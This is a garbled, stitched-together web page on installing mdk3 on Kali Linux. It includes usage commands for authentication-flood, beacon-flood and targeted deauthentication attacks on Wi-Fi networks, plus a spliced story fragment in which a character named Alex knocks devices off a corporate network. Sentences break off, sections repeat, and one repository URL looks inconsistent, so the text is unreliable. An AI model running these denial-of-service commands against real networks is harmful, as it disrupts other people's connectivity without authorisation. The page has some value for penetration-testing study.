To install mdk3 on Kali Linux, you should use the official Kali Linux repositories as it is the most reliable method. Although it is often pre-installed in full versions of Kali Linux, you can manually install or update it using the following steps: Installation Steps
Update your package list: Open your terminal and ensure your local package database is current. sudo apt update Use code with caution. Copied to clipboard Install mdk3: Run the installation command for the package. sudo apt install mdk3 Use code with caution. Copied to clipboard
Verify the installation: Confirm it is installed and view the help menu. mdk3 --help Use code with caution. Copied to clipboard Basic Usage Example
Before using mdk3, you must put your wireless interface into monitor mode (typically using airmon-ng start wlan0).
Authentication DoS Mode: This mode floods access points with authentication requests to test their stability. sudo mdk3 wlan0mon a Use code with caution. Copied to clipboard
Beacon Flood Mode: Sends fake beacon frames to simulate multiple access points. sudo mdk3 wlan0mon b Use code with caution. Copied to clipboard Important Considerations
Permissions: Always ensure you have explicit permission from the network owner before running mdk3, as it is a powerful wireless attack tool that can disrupt network services.
Troubleshooting: If you encounter issues during installation, ensure your /etc/apt/sources.list is correctly configured to point to the official Kali Network Repositories. mdk3 | Kali Linux Tools mdk3 install kali linux
To install on Kali Linux, the most direct and reliable method is using the built-in package manager, as it is still maintained in the official Kali Linux Package Tracker Standard Installation Method
Open your terminal and run the following commands to update your package list and install the utility: Kali Linux Update your local package database sudo apt update Use code with caution. Copied to clipboard Install mdk3 sudo apt install mdk3 Use code with caution. Copied to clipboard Alternative: Upgrading to mdk4 It is worth noting that
is the official successor to mdk3. It is a more modern, maintained fork designed to support newer wireless chipsets and fix limitations found in the original version. To install the newer version: Kali Linux sudo apt install mdk4 Use code with caution. Copied to clipboard Manual Installation (Source)
If you need a specific version or are on a system where the package is unavailable, you can build it from source. However, users frequently encounter errors like "No rule to make target 'osdep/libosdep.a'" if dependencies are missing. Super User Install dependencies : You typically need libpcap-dev libssl-dev aircrack-ng Clone the repository
mdk3airmon-ng to start monitor mode on your wireless interface.sudo airmon-ng start wlan0 # wlan0 is your wireless interface name
This creates an interface like wlan0mon.
sudo airmon-ng check kill
Occasionally, Kali mirrors may be down. You can download the .deb package directly.
Step 1: Visit the Kali package tracker or use wget To install mdk3 on Kali Linux, you should
wget http://http.kali.org/kali/pool/main/m/mdk3/mdk3_6.0-7_amd64.deb
(Check the current version on packages.kali.org before running)
Step 2: Install the .deb file
sudo dpkg -i mdk3_6.0-7_amd64.deb
sudo apt install -f # Fix missing dependencies
You cannot fire a gun without taking the safety off. In Wi-Fi terms, that meant enabling Monitor Mode.
Alex killed any interfering processes first to ensure a clean connection:
sudo airmon-ng check kill
Then, he switched the card into listening mode:
sudo airmon-ng start wlan0
The interface renamed itself to wlan0mon. It was now listening to the invisible radio waves flooding the room.
Before launching MDK3, he needed a target. He quickly ran airodump-ng wlan0mon to scan the environment. He identified the target Access Point: Corp_IoT_Net. He noted the BSSID (the MAC address of the router): AA:BB:CC:11:22:33. Wireless adapter that supports packet injection – Common
Now, the chaos began.
Alex constructed the MDK3 command. He wanted to kick everyone off that specific network to test the reconnect logic of the devices.
sudo mdk3 wlan0mon d -t AA:BB:CC:11:22:33
wlan0mon: The interface.d: Deauthentication attack.-t: Target BSSID.He hit Enter.
Kali Linux, the leading distribution for digital forensics and penetration testing, often includes mdk3 in its kali-linux-large or kali-linux-everything metapackages. However, a minimal or default installation (like kali-linux-headless or the light ARM images) may not include it.
You might need to install MDK3 in these scenarios:
git clone https://github.com/aircrack-ng/mdk3.git cd mdk3
This floods the area with fake beacon frames, creating hundreds of fake access points.
sudo mdk3 wlan0mon b -f ap_names.txt -c 6 -s 1000
b – Beacon flood mode-f – File containing SSID names (one per line)-c – Channel (e.g., 6)-s – Packet rate (packets per second)sudo apt update && sudo apt upgrade -y
sudo apt install build-essential libpcap-dev libssl-dev git -y
git clone https://github.com/aircrack-ng/mdk3-master.git
cd mdk3-master
make
sudo make install
mdk3 --help
or run a harmless info command to confirm it's installed.